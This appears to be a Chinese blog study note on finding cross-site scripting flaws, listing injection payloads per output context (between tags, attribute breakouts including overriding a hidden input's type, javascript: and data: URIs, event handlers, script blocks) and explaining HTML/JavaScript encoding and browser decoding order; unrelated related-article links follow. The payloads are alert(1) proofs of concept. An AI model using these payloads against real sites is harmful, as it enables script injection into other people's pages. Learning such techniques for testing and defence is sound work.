HTML标签之间

<div id="body">
[输出点]
</div>
payload:<script>alert(1)</script>

HTML标签之内

<input type="text" value=" [输出点] ">
payload:
1." onmouseover=alert(1) (闭合属性)
2." ><script>alert(1)</script> (闭合属性与标签)

当script标签没有被过滤的时候可以使用payload2,当script标签被过滤的时候可以使用payload1
假设有如下情况:

<input type="hidden" value=" [输出点] ">

这个时候
无法使用闭合属性的payload,因为hidden标签会先被浏览器识别
当hidden标签在输出点之后时

<input value=" [输出点] " type="hidden">

可以使用闭合属性的标签1 " onmouseover=alert(1) type="text
这样不仅把payload写入了页面,同时提前将type类型定义为text,这样后面的hidden就失效了
****
输出在src/href/action等属性内

<a href=" [输出点] ">click me</a>

payload:

javascript:alert(1) //伪协议浏览器都会支持
或者
data:text/html;base64;PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
(现版本的ie,chrome,firefox均不支持)

**输出在on*事件内**
on*时间是可以执行javascript脚本的,根据场景弄清楚不同的闭合策略即可

<a href="#" onclick="eval(‘[输出点]’)>click me</a>
payload:alert(1)

在Javascript代码中

<script>a=" [输出点]"</script>
payload:
</script><script>alert(1)
";alert(1)

HTML与Javascript编码

例:

A:
<input type="button" id="exec_btn" value="exec" onclick="document.write(htmlEncode('<img src=@ onerror=alert(1) />'))"/>

B:
<input type="button" id="exec_btn" value="exec" onclick="document.write('&lt;img src=@ onerror=alert(1) /&gt;')"/>

A与B两个例子,谁会执行alert(1)?

javascript出现在html标签中,javascript可以进行html编码
1.进制编码:&#xH; &#D;
2.HTML实体编码
在javascript执行前,浏览器会进行html转码,所以在A例中,当浏览器执行过一次htmlencode之后,会执行script脚本,但是此时尖括号已经被转成了html的实体编码,所以A不会执行alert(1)
当输入内容出现在javascript中的时候,需要遵循javascript编码规则

1.unicode:\uH
2.普通十六进制:\xH
3.转义:在特殊字符前加\转义(\' \" \<)

javascript在执行前会自动解码
****
具备htmlencode功能的标签

<title></title>
<iframe></iframe>
<noscript></noscript>
<noframes></noframes>

浏览器解码顺序

HTML解码 -> URL解码 -> js(unicode)解码

XSS学习(三)挖掘思路的更多相关文章

  1. PostMessage xss学习和挖掘

    PostMessage xss很有趣,在国外出现了很多次,国内src/众测从没遇到过,挖到过.可能境界还不够,有机会再去试试.好几年前记得心血来潮学过一次,都是半知半解,后来因为重要性不高,不了了之了 ...

  2. HTTP学习三:HTTPS

    HTTP学习三:HTTPS 1 HTTP安全问题 HTTP1.0/1.1在网络中是明文传输的,因此会被黑客进行攻击. 1.1 窃取数据 因为HTTP1.0/1.1是明文的,黑客很容易获得用户的重要数据 ...

  3. 第四次:渗透练习,xss学习

    xss学习 一.学习目的 初步了解xss攻击,不包括(DOM类型) 二.附加说明 1.xss介绍 https://baike.baidu.com/item/XSS%E6%94%BB%E5%87%BB/ ...

  4. 机器学习:scikit-learn 文档、深入学习机器学习的思路

    一.scikit-learn 的文档查阅 网页访问 scikit-learn 的文档: scikit-learn.org —— Document —— User Guide: scikit-learn ...

  5. PHP代码审计4-漏洞挖掘思路

    漏洞挖掘思路 漏洞形成的条件 1.变量可控制 2.变量可到达有利用价值的函数(危险函数) 漏洞造成的效果 漏洞的利用效果取决于最终的函数功能,变量进入什么样的函数就导致什么样的效果 危险函数 文件包含 ...

  6. TweenMax动画库学习(三)

    目录               TweenMax动画库学习(一)            TweenMax动画库学习(二)            TweenMax动画库学习(三)           ...

  7. Struts2框架学习(三) 数据处理

    Struts2框架学习(三) 数据处理 Struts2框架框架使用OGNL语言和值栈技术实现数据的流转处理. 值栈就相当于一个容器,用来存放数据,而OGNL是一种快速查询数据的语言. 值栈:Value ...

  8. 【转载】目前主流过滤XSS的三种技术

    目前主流过滤XSS的三种技术 过滤 过滤,顾名思义,就是将提交上来的数据中的敏感词汇直接过滤掉.例如对"<script>"."<a>". ...

  9. 【老司机经验】CC2530&STM8S105二合一嵌入式学习板设计思路与经验分享

    CC2530&STM8S105二合一嵌入式学习板设计思路与经验分享 1.缘起    这些年来一直在其他公司的实验箱和别人的开发板上进行教学与开发工作,总是觉得功能设计不那么合意.心里突然冒出个 ...

随机推荐

  1. css——letter spacing

    letter spacing属性是用来设置字母的间距 实例: 设置h1和h2之间字母的间距 <html> <head> <style type="text/cs ...

  2. java的基础数据类型

    Java 里面的数据类型从大的方面分为两类,一是基本数据类型,一是引用类型.基本的JAVA 数据类型层次图如下: Java 中的基本数据类型可分为四种:(1)逻辑型:boolean(2)文本型:cha ...

  3. java——类、对象、方法

    一.类 1.Java语言把一组对象中相同属性和方法抽象到一个Java源文件就形成了类. 一个java文件可以有多个类,但是每一个类都会生成一个class字节码文件. 如果class 前加public ...

  4. NFS、FTP介绍

    第二十五课 NFS.FTP介绍 目录 一. NFS介绍 二.NFS服务端安装配置 三.NFS配置选项 四.exportfs命令 五.NFS客户端问题 六.FTP介绍 七.使用vsftpd搭建ftp 八 ...

  5. Hacker一月间

    我给自己的新赛季制定了一个计划,就是研究Kali,一个大集成开源软件系统,不过是用来做Hacker的. 以前其实想玩玩这个,但负责信息安全,总是担心安全漏洞这里安全漏洞哪儿,其实自己很害怕有安全漏洞, ...

  6. 第十六周翻译-SQL Server复制的阶梯:第1级 - SQL Server复制简介

    SQL Server复制的阶梯:第1级 -  SQL Server复制简介 作者:Sebastian Meine,2012年12月26日 翻译:赖慧芳 译文: 该系列 本文是Stairway系列的一部 ...

  7. JS 返回上一页并刷新代码整理

    一:JS 重载页面,本地刷新,返回上一页: <a href="javascript:history.go(-1)">返回上一页</a> <a href ...

  8. 小程序 onReachBottom 事件快速滑动时不触发的bug

    一般在列表页面 会先加载一定数量的数据 触发上拉加载这个动作的时候再陆续加载数据 假如上拉一次加载10条数据 在小程序中 你快速滑动页面触发加载这个事件的话 你会发现小程序卡着不动了 刚开始以为数据加 ...

  9. zookeeper 启动 zookeeper_server.pid: Permission denied

    在启动zookeeper的时候 报错 没有权限 以为是 zookeeper 没有权限 然后 chmod -R 777 zookeeper/ 之后还是不行. 后来 才发现 原来是我 /tmp/zooke ...

  10. NIO 概述 与 通信实例

    NIO 简述: NIO是在jdk1.4之后加入的一种基于缓冲区(buffer)和通道(channel)的I/O方式, nio是同步非阻塞的i/o模式,同步是指线程不断地轮询i/o事件,非阻塞是在处理i ...